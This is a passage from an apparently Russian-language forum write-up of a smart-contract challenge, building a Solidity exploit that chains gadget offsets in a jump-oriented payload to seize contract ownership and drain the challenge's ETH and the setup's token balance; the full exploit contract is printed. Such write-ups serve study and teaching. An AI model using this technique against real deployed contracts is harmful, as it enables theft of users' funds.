- Аргумент для store_to_stack, в виде смещения к следующим 4 элементам
- call_store_to_stack
Пишем эксплоит
Создадим контракт и импортируем
setup:
Код:
pragma solidity 0.7.6;
import "Setup.sol";
contract exploit {
}
Добавим наши гаджеты:
Код:
uint constant transfer_ownership = 0x102a;
uint constant accept_ownership = 0x0c4a;
uint constant zero_setup = 0x1757;
uint constant zero_challenge = 0x191b;
uint constant jump_stack = 0x1d39;
uint constant stop = 0x084a;
uint constant store_to_stack = 0x19fc;
uint constant call_store_to_stack = 0x0cf1;
Создадим хранилище для полезной нагрузки:
Код:
uint[] data;
Напишем коструктор и получим интерфейс задачи:
Код:
constructor(Setup setup) public payable{
ChallengeInterface challenge = setup.challenge();
}
Добавим фукнцию которая будет вводить 2,3 и 4 элементы:
Код:
function add_values(uint offset) private {
data.push(jump_stack);
data.push(offset);
data.push(call_store_to_stack);
}
Теперь более подробно. Начнём с конца нашей jop цепочки, то есть с гаджета
stop:
Код:
data.push(stop); //Добавляем гаджет
add_values(0x44 + 0x80 * 1); //Указываем смещение
Далее возьмёмся за передачу владения контрактом:
Код:
data.push(accept_ownership);
add_values(0x44 + 0x80 * 2);
data.push(uint(0xdeaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD));
add_values(0x44 + 0x80 * 3);
data.push(transfer_ownership);
add_values(0x44 + 0x80 * 4);
add_values значение для инкремента, а просто решил указывать его каждый раз потому, что так нагляднее видно как считается смещение Обнулим баланс задания, переведя все 50 eth себе:
Код:
data.push(uint(address(this)));
add_values(0x44 + 0x80 * 5);
data.push(address(challenge).balance + 0x44);
// Мы добавляем 0x44, так как позже при вызове точки входа мы передадим 0x44 как value(аргумент для store_to_stack)
add_values(0x44 + 0x80 * 6);
data.push(zero_challenge);
add_values(0x44 + 0x80 * 7);
И обнулим баланс setup:
Код:
data.push(uint(address(setup)));
add_values(0x44 + 0x80 * 8);
data.push(challenge.balanceOf(address(setup)));
add_values(0x44 + 0x80 * 9);
data.push(zero_setup);
add_values(0x44 + 0x80 * 10);
Наконец добавим 4
jump_stack в качестве последнего блока элементов. Они выступают как заглушка - последними будут прочитаны они, после чего будет совершён прыжок на последний из них, и заложенная в нагрузку логика начнёт выполнятся.
Код:
data.push(jump_stack);
data.push(jump_stack);
data.push(jump_stack);
data.push(jump_stack);
Наша нагрузка готова! Теперь займёмся вызывами:
Код:
// Готовим точку входа
address(challenge).call(abi.encodeWithSelector(0x27f83350, uint(store_to_stack)));
// Вызываем и передаём нашу нагрузку
address(challenge).call{value: 0x44}(abi.encodeWithSignature("buyTokens()", data));
Полный код эксплойта:
Код:
pragma solidity 0.7.6;
import "Setup.sol";
contract exploit {
uint[] data;
uint constant transfer_ownership = 0x102a;
uint constant accept_ownership = 0x0c4a;
uint constant zero_setup = 0x1757;
uint constant zero_challenge = 0x191b;
uint constant jump_stack = 0x1d39;
uint constant stop = 0x084a;
uint constant store_to_stack = 0x19fc;
uint constant call_store_to_stack = 0x0cf1;
function add_values(uint offset) private {
data.push(jump_stack);
data.push(offset);
data.push(call_store_to_stack);
}
constructor(Setup setup) public payable{
ChallengeInterface challenge = setup.challenge();
data.push(stop);
add_values(0x44 + 0x80 * 1);
data.push(accept_ownership);
add_values(0x44 + 0x80 * 2);
data.push(uint(0xdeaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD));
add_values(0x44 + 0x80 * 3);
data.push(transfer_ownership);
add_values(0x44 + 0x80 * 4);
data.push(uint(address(this)));
add_values(0x44 + 0x80 * 5);
data.push(address(challenge).balance + 0x44);
add_values(0x44 + 0x80 * 6);
data.push(zero_challenge);
add_values(0x44 + 0x80 * 7);
data.push(uint(address(setup)));
add_values(0x44 + 0x80 * 8);
data.push(challenge.balanceOf(address(setup)));
add_values(0x44 + 0x80 * 9);
data.push(zero_setup);
add_values(0x44 + 0x80 * 10);
data.push(jump_stack);
data.push(jump_stack);
data.push(jump_stack);
data.push(jump_stack);
address(challenge).call(abi.encodeWithSelector(0x27f83350, uint(store_to_stack)));
address(challenge).call{value: 0x44}(abi.encodeWithSignature("buyTokens()", data));
}
}
Тестируем
Настало время проверить эксплоит в действии! Развернём Setup:
Размещаем наш эксплоит:
И проверяем, решена ли задача:
Итоги
Время подвести итог. Как по мне, так тема эксплуатации смарт-контрактов очень обделена вниманием, и надеюсь кого-нибудь я этой статьёй заинтересовал. Если у вас будут какие-либо вопросы - не стесняйтесь мне писать.
В эту статью я вложил много времени, поэтому многие переводы которые я должен был сделать задержались, постараюсь закончить с ними по возможности быстро.
Azrv3l cпециально для xss.pro